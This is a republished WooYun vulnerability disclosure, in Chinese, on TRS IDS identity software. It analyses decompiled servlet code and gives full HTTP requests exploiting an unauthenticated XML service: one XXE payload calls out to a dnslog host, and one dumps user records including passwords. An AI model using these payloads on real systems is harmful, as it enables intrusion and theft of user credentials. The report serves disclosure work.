TRS(ids新老版本)设计缺陷(xxe/用户信息泄露包括密码等)

2016-07-17 3,279
漏洞标题 TRS(ids新老版本)设计缺陷(xxe/用户信息泄露包括密码等)
相关厂商 北京拓尔思信息技术股份有限公司
漏洞作者 menmen519
提交时间 2016-03-24 11:59
公开时间 2016-06-26 11:50
漏洞类型 设计缺陷/逻辑错误
危害等级
自评Rank 15
漏洞状态 厂商已经确认
Tags标签 逻辑错误

漏洞详情

首先我们看看web.xml配置文件:

<servlet>
<servlet-name>ServiceServlet</servlet-name>
<servlet-class>com.trs.idm.admin.service.ServiceServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>ServiceServlet</servlet-name>
<url-pattern>/service</url-pattern>
</servlet-mapping>

跟进ServiceServlet

protected void service(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
if("GET".equalsIgnoreCase(request.getMethod()) && StringHelper.isEmpty(request.getQueryString()))
{
String responMsg = "It works!";
if(serviceHandlerManager == null)
responMsg = "It didn't work!";
response.getWriter().print(responMsg);
response.getWriter().flush();
return;
}
String hanlderType = RequestUtil.getParameterAndTrim(request, "idsServiceType");
LOG.debug((new StringBuilder("hanlder type in request is: ")).append(hanlderType).toString());
if(serviceHandlerManager == null)
{
LOG.warn((new StringBuilder("serviceHandlerManager is null! ")).append(idmServer.getStartError()).toString());
if("remoteapi".equals(hanlderType))
{
response.setContentType("text/xml;charset=utf-8");
setResponseType(request, response);
String responseMsg = ProcessorHelper.getErrorResponseAsXML(-2, idmServer.getStartError().toString(), com/trs/idm/admin/service/ServiceServlet.getName(), null);
sendResponse(response, responseMsg);
}
return;
}
IServiceHandler serviceHandler = serviceHandlerManager.getServiceHanlder(hanlderType);
if(serviceHandler == null)
{
LOG.warn((new StringBuilder("can not find hanlder by type: ")).append(hanlderType).toString());
return;
} else
{
serviceHandler.service(request, response);
return;
}
}

通过get方式获取一个服务的名称idsServiceType=xxxxx

然后这里去查询IServiceHandler serviceHandler = serviceHandlerManager.getServiceHanlder(hanlderType);服务存在否

public IServiceHandler getServiceHanlder(String serviceHanlderName)
{
return (IServiceHandler)ServiceHanldersMap.get(serviceHanlderName);
}

public Map getAllServiceHanlders()
{
return ServiceHanldersMap;
}

public void start(IDSContext idsCtx)
throws IdMException
{
IServiceHandler ssoAPIServiceHandler = new SSOAPIServiceHanlder(idsCtx);
ssoAPIServiceHandler.start();
IServiceHandler coAppStatusMonitorServiceHanlder = new CoAppStatusMonitorServiceHanlder(idsCtx);
coAppStatusMonitorServiceHanlder.start();
IServiceHandler v5httpHandler = new HTTPAPIAdaptorHandler(idsCtx);
v5httpHandler.start();
IServiceHandler v5httpssoHandler = new HTTPSSOAPIHandler(idsCtx);
v5httpssoHandler.start();
IServiceHandler realNameAuthServiceHandler = new RealNameAuthenticationServiceHandlerV2(idsCtx);
realNameAuthServiceHandler.start();
IServiceHandler sinaWeiboLoginHandler = new SinaWeiboLoginServiceHandler(idsCtx);
sinaWeiboLoginHandler.start();
IServiceHandler renrenLoginHandler = new RenRenLoginServiceHandler(idsCtx);
renrenLoginHandler.start();
IServiceHandler qqLoginHandler = new QQLoginServiceHandler(idsCtx);
qqLoginHandler.start();
IServiceHandler kaixinLoginHandler = new KaiXinLoginServiceHandler(idsCtx);
kaixinLoginHandler.start();
IServiceHandler doubanLoginHandler = new DoubanLoginServiceHandler(idsCtx);
doubanLoginHandler.start();
IServiceHandler openAuthLoginHandler = new OpenAuthLoginServiceHandler(idsCtx);
openAuthLoginHandler.start();
IServiceHandler idsServerStatusMonitorServiceHanlder = new IdsServerStatusMonitorServiceHanlder(idsCtx);
idsServerStatusMonitorServiceHanlder.start();
IServiceHandler federatedAuthHandler = new FederatedAuthHandler(idsCtx);
federatedAuthHandler.start();
IServiceHandler jitSyncUser = new JitSynchUserServiceHandler(idsCtx);
ServiceHanldersMap = new HashMap();
ServiceHanldersMap.put("remoteapi", v5httpHandler);
ServiceHanldersMap.put("httpssoservice", v5httpssoHandler);
ServiceHanldersMap.put("ssoapi", ssoAPIServiceHandler);
ServiceHanldersMap.put("coAppStatusMonitor", coAppStatusMonitorServiceHanlder);
ServiceHanldersMap.put("realNameAuthentication", realNameAuthServiceHandler);
ServiceHanldersMap.put("idsStatusMonitor", idsServerStatusMonitorServiceHanlder);
ServiceHanldersMap.put("jitSyncUser", jitSyncUser);
ServiceHanldersMap.put("openAuthLogin", openAuthLoginHandler);
ServiceHanldersMap.put("sinaWeiboLogin", sinaWeiboLoginHandler);
ServiceHanldersMap.put("renrenLogin", renrenLoginHandler);
ServiceHanldersMap.put("qqLogin", qqLoginHandler);
ServiceHanldersMap.put("kaixinLogin", kaixinLoginHandler);
ServiceHanldersMap.put("doubanLogin", doubanLoginHandler);
ServiceHanldersMap.put("federatedAuth", federatedAuthHandler);
ServiceHanldersMap.put("mockBabyTreeServer", new MockBabyTreeAppServer(idsCtx));
LOG.info("MemoryServiceHanlderManager start");
}

发现了 存在这么多服务,我们最主要的看jitSyncUser 这个服务

跟进到JitSynchUserServiceHandler

public void service(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
request.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8");
response.setHeader("Pragma", "no-cache");
response.setHeader("Cache-Control", "no-store");
response.setDateHeader("Expires", -1L);
InputStream in = request.getInputStream();
byte buf[] = new byte[2048];
in.read(buf);
in.close();
String xml = (new String(buf, "UTF-8")).trim();
if(xml == null || xml.equals(""))
{
error(response, "XML\u6587\u6863\u4E3A\u7A7A");
return;
}
try
{
Document doc = DocumentHelper.parseText(xml);
Element root = doc.getRootElement();
synchUser(response, root, xml);
}
catch(DocumentException e)
{
error(response, "XML\u6587\u6863\u9519\u8BEF");
}
catch(Exception e)
{
error(response, "XML\u6587\u6863\u9519\u8BEF");
}
}

这里直接通过流读取一个xml,然后交给synchUser方法处理

private void synchUser(HttpServletResponse response, Element element, String xml)
throws IOException, IdMException
{
User user = getBean(element);
String action = getAction(element);
String status = "";
if("app".equalsIgnoreCase(action))
userManager.addUser(user, "");
else
if("mod".equalsIgnoreCase(action))
userManager.updateUser(user);
else
if("active".equalsIgnoreCase(action))
{
user.setActived(true);
userService.noticeEnableOrDisableUser(true, user);
} else
if("unactive".equalsIgnoreCase(action))
{
user.setActived(false);
userService.noticeEnableOrDisableUser(false, user);
} else
if("del".equalsIgnoreCase(action))
userManager.removeUser(user);
else
if("dip".equalsIgnoreCase(action))
{
User newUser = userManager.findByName(user.getUserName(), "ids_internal");
if(newUser != null)
{
String encode = buildReturnXml(newUser);
response.getWriter().print(encode);
return;
}
} else
if("check".equalsIgnoreCase(action))
{
String userExist = userManager.isUserExist(user.getUserName(), "", true);
status = userExist;
} else
if("check-up".equalsIgnoreCase(action))
{
status = checkUserInfo(user);
} else
{
error(response, "\u8BF7\u6C42\u7684\u65B9\u6CD5\u65E0\u6548");
return;
}

StringBuffer sb = new StringBuffer("<?xml version='1.0' encoding='UTF-8' ?><Inter-Xinhua Version='1.0'>");
if("check".equals(action))
{
if(status.equals("true") || status.equals("false"))
sb.append(String.format("<Error>false</Error><Exist>%s</Exist>", new Object[] {
status
}));
else
sb.append(String.format("<Error>true</Error><ErrorMessage>%s</ErrorMessage>", new Object[] {
status
}));
} else
if(status.equals(""))
sb.append("<Error>false</Error>");
else
sb.append(String.format("<Error>true</Error><ErrorMessage>%s</ErrorMessage>", new Object[] {
status
}));
sb.append("</Inter-Xinhua>");
response.getWriter().print(sb.toString());
}

那么看看第一个漏洞点:

try
{
Document doc = DocumentHelper.parseText(xml);
Element root = doc.getRootElement();
synchUser(response, root, xml);
}

这里直接对xml进行了解析,所以存在xxe漏洞,为了测试,我们cloudeye 演示一下

POST /ids/service?idsServiceType=jitSyncUser HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: trsidsssosessionid=2382B8AE9E8FB5B441212CE2595F963E**.**.**.**
X-Forwarded-For: **.**.**.**
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------1988224119974
Content-Length: 196

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xdsec [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "http://mm1111.88d400.dnslog.info" >]><methodcall><methodname>&xxe;</methodname></methodcall>

trs1.gif

下面的synchUser,因为接口是统一有问题的,所以这里就举其中一个信息泄露例子吧

POST /ids/service?idsServiceType=jitSyncUser HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: trsidsssosessionid=2382B8AE9E8FB5B441212CE2595F963E**.**.**.**
X-Forwarded-For: **.**.**.**
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------1988224119974
Content-Length: 381

<?xml version="1.0" encoding="UTF-8"?><UserInfo><Method>dip</Method><AppId>dbg</AppId><ID>test</ID><Password>xxxxx</Password><CPassword>xxxxx</CPassword><Name>xxxxxx</Name><Domain></Domain><TEL>02965474561</TEL><PostCode>710000</PostCode><Mobile>15802991645</Mobile><Address>test123</Address><E-mail>test123@**.**.**.**</E-mail><UserType>dbg</UserType><ES></ES><DES></DES></UserInfo>

trs2.gif

其他的 比如任意用户密码修改,用户激活等等这里就不举例子了

案例:

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云

Tags:
评论  (0)
快来写下你的想法吧!

Chloe O_o

文章数:38559 积分: 0

关注我们